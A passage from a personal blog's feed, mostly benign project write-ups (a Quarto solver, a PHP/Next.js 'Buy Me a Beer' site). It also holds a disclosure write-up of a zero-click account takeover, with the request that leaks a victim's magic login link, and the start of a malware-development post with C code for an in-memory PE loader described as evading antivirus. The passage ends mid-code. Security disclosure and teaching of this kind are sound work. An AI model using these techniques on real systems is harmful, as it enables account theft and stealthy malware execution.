consider buying me a beer over at <strong><a class="link"   href="https://ilia.beer/" >ilia.beer<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></strong>, I’ll even drink it and cheer to you on camera :)</p>]]>
    </content>
    <id>https://blog.rmxzy.com/2026/01/26/chokerjoker-blog/</id>
    <link href="https://blog.rmxzy.com/2026/01/26/chokerjoker-blog/"/>
    <published>2026-01-26T23:00:00.000Z</published>
    <summary>How Ilia Mirzaali (rmxzy) and team built ChokerJoker — an award-winning Quarto game-AI solver in Java using alpha-beta pruning and aggressive search-space optimisation.</summary>
    <title>Building ChokerJoker, the award winning quarto solver</title>
    <updated>2026-05-07T22:09:06.996Z</updated>
  </entry>
  <entry>
    <author>
      <name>Ilia Mirzaali</name>
    </author>
    <category term="Web Development" scheme="https://blog.rmxzy.com/categories/Web-Development/"/>
    <category term="Projects" scheme="https://blog.rmxzy.com/categories/Web-Development/Projects/"/>
    <category term="PHP" scheme="https://blog.rmxzy.com/tags/PHP/"/>
    <category term="Next.js" scheme="https://blog.rmxzy.com/tags/Next-js/"/>
    <category term="Google Cloud" scheme="https://blog.rmxzy.com/tags/Google-Cloud/"/>
    <category term="Video Processing" scheme="https://blog.rmxzy.com/tags/Video-Processing/"/>
    <category term="Web Development" scheme="https://blog.rmxzy.com/tags/Web-Development/"/>
    <content>
      <![CDATA[<p>On the train ride back from the <a href="https://2025.bapc.eu/"><strong>BAPC</strong></a> on November 25th, my friends and I were joking about funny domain names we’ve seen. Between all the ridiculous suggestions, the <strong>“.beer”</strong> TLD stood out the most. So, naturally, I did the only reasonable thing that came to my mind: I bought <strong>ilia.beer</strong> on the spot, just in case I’d find something funny to do with it later.</p><p>A couple of weeks passed, and somehow that impulsive domain purchase turned into a <em>“Buy Me a Beer”</em> platform. People can now buy me a beer, and I upload a video of me drinking it and cheering to them. And while free beers are great, I actually enjoyed building the technical side of it way more, from handling uploads and compression to optimizing playback.</p><p>In this post, I’ll walk you through how this little project came to life and the decisions behind it. Who knows, maybe you’ll end up building your own “Buy Me a [insert alcoholoic drink]” site :)</p><h1 id="Getting-the-specifics-down"><a href="#Getting-the-specifics-down" class="headerlink" title="Getting the specifics down"></a>Getting the specifics down</h1><p>To get started with planning the whole project, I first had to pin down the exact features I wanted the website to have. I ended up splitting everything into three main parts:</p><ul><li><strong>Handling payments</strong></li><li><strong>Fast and high-quality video uploads</strong></li><li><strong>Fast video downloads and a smooth viewing experience</strong></li></ul><p>Some of these turned out to be much harder than others, but in the end everything came together nicely.</p><p>Around this time, I had just bought a Raspberry Pi and wanted to try hosting a couple of small apps on it. This seemed like the perfect chance to run the backend entirely on the Pi. Since the backend for this project was quite small and straightforward, it felt like a good opportunity to see how well the Pi performs when running a web app 24&#x2F;7.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/network.png"                      alt="Architecture Network Diagram"                ></p><p>Because this was a hobby project and I wanted to get the most out of it, I decided to build the backend using a language I had never touched before: <strong>PHP</strong>. For the frontend, I went with <strong>Next.js</strong>, mostly because I had some experience with it and it’s incredibly easy to deploy on Vercel.</p><h2 id="Handling-payments-and-headaches"><a href="#Handling-payments-and-headaches" class="headerlink" title="Handling payments and headaches"></a>Handling payments and headaches</h2><p>If I had to name this section, I’d call it <em>“Where I Lost Most of My Life Expectancy.”</em></p><p>My initial plan was to use the Stripe API. I had seen it used in similar projects, and I didn’t think much of it. So I spent several hours learning the Stripe API and implementing it in pure PHP.</p><p>This was… painful.</p><p>Half the struggle was figuring out PHP itself, and the other half was trying to make sure my payment flow was actually secure in a language I barely understood.</p><p>Eventually, I had a minimal backend running with just the payment endpoints. At this point, I probably <em>should</em> have set up Stripe properly and tested whether any of this even worked. But instead, I jumped straight into building the frontend payment flow. I wanted the experience to be as seamless as possible, so I added the payment widget right on the main page.</p><p>After polishing everything up, I finally opened the Stripe dashboard to create my account… and was immediately greeted by a big yellow banner telling me that <strong>residents of the Netherlands are required to have a VAT number</strong>.</p><p>To get that VAT number, I’d need to officially register as a business.</p><p>At that point, I dropped the Stripe idea entirely and started looking for a simpler solution. I ended up using <strong>BuyMeACoffee</strong>, which already handles small payments and only required me to create an account and copy my payment link. I made a simple SVG button for it, and within 30 minutes the payment system was done.</p><p>Sure, this method adds a couple more steps to the payment flow and takes users off my site. But honestly? It was the best option available.</p><h2 id="Uploading-videos"><a href="#Uploading-videos" class="headerlink" title="Uploading videos"></a>Uploading videos</h2><p>Since the entire backend was running on a Raspberry Pi at home, I had to be smart about how video uploads were handled. Uploading a video <em>first</em> to the Pi and <em>then</em> from the Pi to a cloud bucket (like Google Cloud Storage) would have taken ages — my Pi was sitting behind a pretty slow home internet connection.</p><p>After some research, I came across <strong>signed URLs</strong>. These basically let the frontend upload a file <strong>directly</strong> to my GCS bucket without the Pi ever touching the video. The backend’s only job is to generate a one-time secure URL. This saves bandwidth, avoids double-uploads, and prevents the Pi from melting every time someone tries to send a 50MB video.</p><p>Here’s the code I used for generating that signed URL:</p><div class="code-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$fileName</span> = <span class="title function_ invoke__">uniqid</span>() . <span class="string">&#x27;.&#x27;</span> . <span class="variable">$fileExtension</span>;</span><br><span class="line"><span class="variable">$gcsUrl</span> = <span class="string">&#x27;https://storage.googleapis.com/ilia_beer/&#x27;</span> . <span class="variable">$fileName</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$signedUrl</span> = <span class="variable language_">$this</span>-&gt;bucket-&gt;<span class="keyword">object</span>(<span class="variable">$fileName</span>)-&gt;<span class="title function_ invoke__">signedUrl</span>(</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">\DateTime</span>(<span class="string">&#x27;+10 minutes&#x27;</span>),</span><br><span class="line">    [</span><br><span class="line">        <span class="string">&#x27;method&#x27;</span> =&gt; <span class="string">&#x27;PUT&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;contentType&#x27;</span> =&gt; <span class="variable">$contentType</span>,</span><br><span class="line">    ]</span><br><span class="line">);</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><p>This creates a signed URL that’s valid for 10 minutes, which the frontend can then PUT the video file to directly. On the Next.js side, this was surprisingly simple, it’s basically just a <code>fetch(signedUrl, &#123; method: &quot;PUT&quot;, body: file &#125;)</code>.</p><p>Of course, I also needed a place to store the metadata for each video. For that, I set up a simple MySQL table:</p><div class="code-container" data-rel="Sql"><figure class="iseeu highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">id <span class="type">INT</span> AUTO_INCREMENT <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">caption <span class="type">VARCHAR</span>(<span class="number">255</span>),</span><br><span class="line">url TEXT <span class="keyword">NOT  NULL</span>,</span><br><span class="line">created_at <span class="type">TIMESTAMP</span>  <span class="keyword">DEFAULT</span>  <span class="built_in">CURRENT_TIMESTAMP</span>`</span><br></pre></td></tr></table></figure></div><p>This was more than enough for what I needed.</p><p>One funny challenge I hit was CORS. For about 20 minutes, I thought my signed URLs were broken when in reality Google Cloud simply didn’t like my CORS settings. This was also hard to figure out as google cloud bucket was not returning any useful errors about how this might be the issue. After a while of searching reddit i found that a number of people also had the same issue so after modifying the allowed headers in my google cloud console everything seemed to work perfectly.</p><h2 id="But-wait-the-videos-are-too-slow-to-download…"><a href="#But-wait-the-videos-are-too-slow-to-download…" class="headerlink" title="But wait, the videos are too slow to download…"></a>But wait, the videos are too slow to download…</h2><p>Once I had video uploads working and a simple frontend that listed them all, I immediately noticed the elephant in the room. Because videos were being uploaded in full quality straight to the bucket, they were <em>huge</em>. And huge videos meant slow downloads, slow viewing, and just an overall sluggish experience.</p><p>Technically, for a “Buy Me a Beer” website, this shouldn’t have mattered that much. But the whole fun of the website is literally watching the beer videos, and if that part is slow, the site loses its charm. So I needed a way to compress videos <em>somewhere</em> along the pipeline.</p><p>The three options I tried were:</p><ul><li><strong>Client-side compression using FFMPEG.wasm</strong></li><li><strong>Local compression on the Pi using FFMPEG</strong></li><li><strong>Google Transcoder API</strong></li></ul><p>And after a lot of trial, error, and swearing, I ended up going with the Google Transcoder API. But it’s worth going through the dead ends too.</p><hr><h3 id="Client-side-compression-using-FFMPEG-wasm"><a href="#Client-side-compression-using-FFMPEG-wasm" class="headerlink" title="Client-side compression using FFMPEG.wasm"></a>Client-side compression using FFMPEG.wasm</h3><p>This was the first thing I tried, it came up in the first Google search, and I thought:<br><strong>-“If I compress on the client, users just wait a bit longer during upload, and the rest is painless.”</strong></p><p>Yeah… no.</p><p>After a LOT of testing and different configurations, the fastest I managed to get was around <strong>700 KB&#x2F;s</strong>, which is painfully slow when your average video is 100 MB+. It also makes sense: browsers simply aren’t built for heavy video processing, and FFMPEG.wasm is basically FFMPEG duct-taped into WebAssembly.</p><p>It was cool to learn how compression works in the browser, but it just wasn’t practical. So I scrapped the idea.</p><hr><h3 id="Local-compression-using-FFMPEG"><a href="#Local-compression-using-FFMPEG" class="headerlink" title="Local compression using FFMPEG"></a>Local compression using FFMPEG</h3><p>Next idea:<br><strong>“If the browser is slow, maybe the Pi can handle it.”</strong></p><p>And it <em>could</em>! The Pi was surprisingly fast at compressing videos.<br>But here’s where I realized my stupidity:</p><p>To compress the video on the Pi, I would first need to <strong>download</strong> the entire file from GCS back to the Pi… only to compress it… and then <strong>upload it again</strong>.</p><p>Way too many steps, completely defeats the purpose of signed URLs, and would absolutely wreck the Pi’s network connection. Dropped this idea too.</p><hr><h3 id="Google-Transcoder-API"><a href="#Google-Transcoder-API" class="headerlink" title="Google Transcoder API"></a>Google Transcoder API</h3><p>Finally, after some more Googling, I discovered that Google offers a <strong>Transcoder API</strong> that can compress videos <em>directly</em> inside the cloud bucket. This meant no involvement by me after I first uploaded the video which was perfect.</p><p>The only tricky part was figuring out how to update the video URL once transcoding finished.<br>If this was a Node.js or Python backend, I would’ve just set up a webhook that triggers automatically when a job finishes. But PHP’s ecosystem made that more annoying.</p><p>Here’s the method I used to create the transcoding job:</p><div class="code-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$videoId</span> = <span class="variable">$body</span>[<span class="string">&#x27;videoId&#x27;</span>];</span><br><span class="line"><span class="variable">$video</span> = <span class="variable language_">$this</span>-&gt;videoGateway-&gt;<span class="title function_ invoke__">GetById</span>(<span class="variable">$videoId</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$outputUrl</span> = <span class="string">&#x27;https://storage.googleapis.com/ilia_beer/transcoded/&#x27;</span> . <span class="title function_ invoke__">basename</span>(<span class="variable">$video</span>[<span class="string">&#x27;url&#x27;</span>]);</span><br><span class="line"></span><br><span class="line"><span class="variable">$job</span> = <span class="variable language_">$this</span>-&gt;transcoder-&gt;<span class="title function_ invoke__">CreateJob</span>(<span class="variable">$this</span>-&gt;<span class="built_in">parent</span>, [</span><br><span class="line">    <span class="string">&#x27;inputUri&#x27;</span> =&gt; <span class="variable">$video</span>[<span class="string">&#x27;url&#x27;</span>],</span><br><span class="line">    <span class="string">&#x27;outputUri&#x27;</span> =&gt; <span class="variable">$outputUrl</span>,</span><br><span class="line">    <span class="string">&#x27;templateId&#x27;</span> =&gt; <span class="string">&#x27;preset/web-hd&#x27;</span></span><br><span class="line">]);</span><br></pre></td></tr></table></figure></div><p>Since I couldn’t rely on webhooks easily, I went with a simple periodic job checker. Every 15 minutes:</p><ol><li>Look up each transcoding job by its job name</li><li>If it’s done → update the database to point to the compressed video and mark it as <em>finished</em></li><li>If it’s still running → wait another 15 minutes</li><li>If it takes too long → mark it as <em>failed</em></li></ol><p>To make this work, I also stored:</p><ul><li>the job name</li><li>the video status (<code>uploaded</code>, <code>transcoding</code>, <code>finished</code>, <code>failed</code>)</li></ul><p>This setup actually worked really well and kept everything running smoothly without the Pi doing any heavy work.</p><h2 id="Putting-everything-together"><a href="#Putting-everything-together" class="headerlink" title="Putting everything together"></a>Putting everything together</h2><p>Once the backend was up and running (and after a couple hours of wrestling with raw PHP routes, controllers, and all that good stuff), the last big piece was figuring out how to actually <em>load</em> the videos on the frontend.</p><p>Since the videos on the site are displayed one after another in a vertical feed, it didn’t really make sense to download everything at once. So instead, I made the videos download <strong>sequentially</strong>: first video downloads, once it’s ready, the next one starts, and so on.<br>This way, by the time the user finishes watching the first video, the next one is already sitting there fully downloaded and ready to go. Smooth scrolling, no buffering.</p><p>Here’s the little bit of React magic that starts the next download as soon as the current one finishes:</p><div class="code-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> startDownloadingNextVideo = <span class="title function_">useCallback</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">  <span class="keyword">const</span> currentIndex = nextVideoToDownload.<span class="property">current</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// No more videos left</span></span><br><span class="line">  <span class="keyword">if</span> (currentIndex &gt;= videos.<span class="property">length</span>) <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">const</span> video = videoRefs.<span class="property">current</span>[currentIndex];</span><br><span class="line">  <span class="keyword">if</span> (!video) <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Skip if already downloading or already loaded</span></span><br><span class="line">  <span class="keyword">if</span> (downloadingVideos.<span class="property">current</span>.<span class="title function_">has</span>(currentIndex) || video.<span class="property">readyState</span> &gt;= <span class="number">3</span>) &#123;</span><br><span class="line">    nextVideoToDownload.<span class="property">current</span> = currentIndex + <span class="number">1</span>;</span><br><span class="line">    startDownloadingNextVideoRef.<span class="property">current</span>?.();</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Start downloading this video</span></span><br><span class="line">  downloadingVideos.<span class="property">current</span>.<span class="title function_">add</span>(currentIndex);</span><br><span class="line">  video.<span class="property">preload</span> = <span class="string">&quot;auto&quot;</span>;</span><br><span class="line">  video.<span class="title function_">load</span>();</span><br><span class="line">&#125;, [videos.<span class="property">length</span>]);</span><br></pre></td></tr></table></figure></div><p>After that… I just vibecoded.<br>Tweaked some front-end styling, polished up the UI a bit, slapped everything into Docker so deploying to the Pi is easier, and boom, the whole thing was basically done.</p><p>So the final product was: <strong><a class="link"   href="https://ilia.beer/" >ilia.beer<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></strong></p><p>If you want to check out the full project or build your own version, the entire thing is up on GitHub:</p><p>👉 <strong><a class="link"   href="https://github.com/ramzxy/ilia.beer" >https://github.com/ramzxy/ilia.beer<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></strong></p><p>Hope you enjoyed the blog. Happy hacking, and see you in the next one.</p>]]>
    </content>
    <id>https://blog.rmxzy.com/2025/11/26/ilia.beer/</id>
    <link href="https://blog.rmxzy.com/2025/11/26/ilia.beer/"/>
    <published>2025-11-26T23:00:00.000Z</published>
    <summary>How Ilia Mirzaali (rmxzy) built ilia.beer — a &quot;Buy Me a Beer&quot; platform with a PHP backend on a Raspberry Pi, Next.js frontend, and Google Cloud Transcoder API for video compression.</summary>
    <title>Building ilia.beer, A &quot;Buy Me a Beer&quot; Platform</title>
    <updated>2026-05-07T22:09:06.996Z</updated>
  </entry>
  <entry>
    <author>
      <name>Ilia Mirzaali</name>
    </author>
    <category term="Pentest" scheme="https://blog.rmxzy.com/categories/Pentest/"/>
    <category term="WebHacking" scheme="https://blog.rmxzy.com/categories/Pentest/WebHacking/"/>
    <category term="Critical" scheme="https://blog.rmxzy.com/categories/Pentest/WebHacking/Critical/"/>
    <category term="WebHacking" scheme="https://blog.rmxzy.com/tags/WebHacking/"/>
    <content>
      <![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h1><p><strong>Vulnerability Name:</strong> Zero Click Account Take Over using IDOR and Improper Access Control<br><strong>Impact Level:</strong> Critical<br><strong>Affected System&#x2F;URL:</strong> [REDACTED]<br><strong>Description:</strong><br>This vulnerability allows an attacker to take over a user’s account without any interaction from the victim, requiring only their email address. By exploiting improper access controls and leveraging an Insecure Direct Object Reference (IDOR), the attacker can retrieve and use the magic login link sent in the server’s response to the user’s login request.  </p><h2 id="Discovery-and-Background"><a href="#Discovery-and-Background" class="headerlink" title="Discovery and Background"></a>Discovery and Background</h2><p>Last week, I discovered a critical vulnerability on the Plaza Residence Services website that led to a <strong>zero-click account takeover</strong> by simply knowing the user’s email address. This research was conducted strictly for <strong>educational and ethical purposes</strong>, and the company’s IT department was notified immediately upon discovery.  </p><p>Hopefully, by the time you read this blog, the security vulnerability has been patched.  </p><h2 id="Technical-Details"><a href="#Technical-Details" class="headerlink" title="Technical Details"></a>Technical Details</h2><h3 id="How-the-Vulnerability-Works"><a href="#How-the-Vulnerability-Works" class="headerlink" title="How the Vulnerability Works"></a><strong>How the Vulnerability Works</strong></h3><p>The vulnerability lies in the website’s <strong>magic login function</strong>, which sends a magic login link as part of the server’s response to a POST request when the user logs in. Here’s how the attack works:  </p><ol><li>An attacker makes a POST request to the login endpoint (e.g., <code>/portal/rest/frontend/json/account/frontend/requestMagicLink</code>) with the victim’s email address.  </li><li>The server responds with the magic login link in the response body, without verifying whether the request was authorized.  </li><li>The attacker extracts the link from the response and uses it to log in as the victim without requiring any further interaction or confirmation from the user.</li></ol><hr><h3 id="Proof-of-Concept-PoC"><a href="#Proof-of-Concept-PoC" class="headerlink" title="Proof of Concept (PoC)"></a><strong>Proof of Concept (PoC)</strong></h3><h4 id="Steps-to-Reproduce"><a href="#Steps-to-Reproduce" class="headerlink" title="Steps to Reproduce:"></a><strong>Steps to Reproduce:</strong></h4><ol><li><p><strong>Send a POST request to the login endpoint:</strong>  </p><div class="code-container" data-rel="Http"><figure class="iseeu highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">POST /portal/rest/frontend/json/account/frontend/requestMagicLink?lang=en HTTP/2  </span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>[example.com]  </span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>application/json, text/plain, */*  </span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json;charset=UTF-8   </span><br><span class="line"></span><br><span class="line">&quot;[victim@example.com]&quot;  //sent as plain text</span><br></pre></td></tr></table></figure></div></li><li><p><strong>View server’s response:</strong></p><p> The server responds with a json containing info on the user including an attribute called link with the magic login link.</p> <div class="code-container" data-rel="Json"><figure class="iseeu highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="string">&quot;https:\/\/[REDACTED].com\/en\/translate-to-engels-inloggen\/magic-link#?hash=[login_hash]&quot;</span></span><br></pre></td></tr></table></figure></div></li><li><p><strong>Use the magic link:</strong></p><p> Simply paste the link on the browser and boom you are in.</p></li></ol><h2 id="Root-Cause-Analysis"><a href="#Root-Cause-Analysis" class="headerlink" title="Root Cause Analysis"></a>Root Cause Analysis</h2><p><strong>The root cause of the vulnerability is a combination of:</strong><br>1.<strong>Improper Access Control:</strong> The server does not verify whether the POST request for the magic link is made by an authorized user.<br>2.<strong>Exposed Sensitive Data:</strong> The magic login link is included in the server’s response, exposing it to potential abuse.</p><h2 id="Recommendations-for-Mitigation"><a href="#Recommendations-for-Mitigation" class="headerlink" title="Recommendations for Mitigation"></a>Recommendations for Mitigation</h2><p>To address this vulnerability, the following measures should be <strong>implemented</strong>:<br>1.<strong>Authorization Checks:</strong> Ensure that only authenticated and authorized users can request the magic login link.<br>2.<strong>Token Validation:</strong> Use cryptographically secure, short-lived tokens for generating magic links and bind them to specific IPs or sessions.<br>3.<strong>Do Not Expose Sensitive Data:</strong> Avoid including sensitive links or tokens in API responses unless absolutely necessary.<br>4.<strong>Rate-Limiting and Monitoring:</strong> Add rate limits to endpoints handling sensitive operations and monitor them for suspicious activity.</p><h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>I hope this writeup was usuful and educational(altough very basic). For more queries and questions you know where to find me :)</p>]]>
    </content>
    <id>https://blog.rmxzy.com/2025/01/25/zeroclick/</id>
    <link href="https://blog.rmxzy.com/2025/01/25/zeroclick/"/>
    <published>2025-01-25T23:00:00.000Z</published>
    <summary>A write-up by Ilia Mirzaali (rmxzy) on a zero-click account takeover via IDOR and broken access control found in a student housing web application.</summary>
    <title>Hacking my Student housing website</title>
    <updated>2026-05-07T22:09:06.996Z</updated>
  </entry>
  <entry>
    <author>
      <name>Ilia Mirzaali</name>
    </author>
    <category term="Pentest" scheme="https://blog.rmxzy.com/categories/Pentest/"/>
    <category term="Malware Development" scheme="https://blog.rmxzy.com/categories/Pentest/Malware-Development/"/>
    <category term="C" scheme="https://blog.rmxzy.com/tags/C/"/>
    <category term="MalwareDev" scheme="https://blog.rmxzy.com/tags/MalwareDev/"/>
    <category term="WinAPI" scheme="https://blog.rmxzy.com/tags/WinAPI/"/>
    <content>
      <![CDATA[<h1 id="Why-Write-a-PE-Loader"><a href="#Why-Write-a-PE-Loader" class="headerlink" title="Why Write a PE Loader?"></a>Why Write a PE Loader?</h1><p>PE loader malware exploits the Windows Portable Executable format to inject and execute malicious code stealthily. It operates in-memory, often evading detection by antivirus software. Using techniques like process hollowing and DLL injection, it enables attackers to launch ransomware, steal data, or move laterally within networks. Strengthened endpoint protection and careful file handling are key defenses against this threat.</p><h2 id="What-does-it-do-exactly"><a href="#What-does-it-do-exactly" class="headerlink" title="What does it do exactly?"></a>What does it do exactly?</h2><p>A PE Loader is a program that loads, parses, and executes a PE file (such as an <code>EXE</code> or <code>DLL</code>). The following code implements a simple PE Loader that reads a PE file, performs necessary loading steps, including reading headers, allocating memory, mapping sections, resolving imports, applying relocations, and executing the PE file.</p><h2 id="Code-Implementation"><a href="#Code-Implementation" class="headerlink" title="Code Implementation"></a>Code Implementation</h2><p>Below is the full implementation of a simple PE Loader in C using the Win32 API.</p><h3 id="Main-Structure"><a href="#Main-Structure" class="headerlink" title="Main Structure"></a><strong>Main Structure</strong></h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _CRT_SECURE_NO_WARNINGS</span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Function prototypes</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">LoadPEFile</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* filePath)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ParseHeaders</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS** ntHeaders)</span>;</span><br><span class="line"><span class="type">void</span>* <span class="title function_">AllocateMemoryForImage</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">MapSections</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* peBuffer, IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ResolveImports</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ApplyRelocations</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress, DWORD_PTR delta)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">ExecutePE</span><span class="params">(IMAGE_NT_HEADERS* ntHeaders, <span class="type">void</span>* baseAddress)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Usage: %s &lt;PE file path&gt;\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    LoadPEFile(argv[<span class="number">1</span>]);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><hr><h3 id="1-LoadPEFile-Function"><a href="#1-LoadPEFile-Function" class="headerlink" title="1. LoadPEFile Function"></a>1. <strong>LoadPEFile</strong> Function</h3><p>This function reads the PE file from the disk and begins the loading process.</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">LoadPEFile</span><span class="params">(<span class="type">const</span> <span class="type">char</span>* filePath)</span> &#123;</span><br><span class="line">    FILE* peFile = fopen(filePath, <span class="string">&quot;rb&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (!peFile) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Failed to open PE file: %s\n&quot;</span>, filePath);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Get the size of the file</span></span><br><span class="line">    fseek(peFile, <span class="number">0</span>, SEEK_END);</span><br><span class="line">    <span class="type">long</span> fileSize = ftell(peFile);</span><br><span class="line">    fseek(peFile, <span class="number">0</span>, SEEK_SET);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Allocate memory and read the file into the buffer</span></span><br><span class="line">    <span class="type">char</span>* peBuffer = (<span class="type">char</span>*)<span class="built_in">malloc</span>(fileSize);</span><br><span class="line">    fread(peBuffer, <span class="number">1</span>, fileSize, peFile);</span><br><span class="line">    fclose(peFile);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Parse headers and load sections</span></span><br><span class="line">    IMAGE_NT_HEADERS* ntHeaders;</span><br><span class="line">    ParseHeaders(peBuffer, &amp;ntHeaders);</span><br><span class="line">    <span class="type">void</span>* baseAddress = AllocateMemoryForImage(ntHeaders);</span><br><span class="line">    MapSections(peBuffer, ntHeaders, baseAddress);</span><br><span class="line">    ResolveImports(ntHeaders, 